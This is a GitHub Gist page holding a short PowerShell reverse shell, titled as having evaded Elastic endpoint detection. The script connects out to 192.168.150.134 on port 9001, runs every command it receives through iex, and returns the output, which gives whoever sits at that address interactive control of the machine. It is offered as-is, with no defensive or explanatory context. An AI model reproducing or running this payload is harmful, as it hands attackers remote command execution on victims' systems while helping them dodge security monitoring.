-
-
Save caueb/30aa1cb69cd5268af587bc4c3a3fc8f5 to your computer and use it in GitHub Desktop.
PowerShell reverse shell - evaded Elastic on 07/07
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$caue = New-Object System.Net.Sockets.TCPClient('192.168.150.134',9001); | |
$caue2 = $caue.GetStream(); | |
[byte[]]$bytes = 0..65535|%{0};while(($i = $caue2.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String ); | |
$sendback2 = $sendback + 'PSReverseShell# '; | |
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); | |
$caue2.Write($sendbyte,0,$sendbyte.Length); | |
$caue2.Flush()}$caue.Close(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment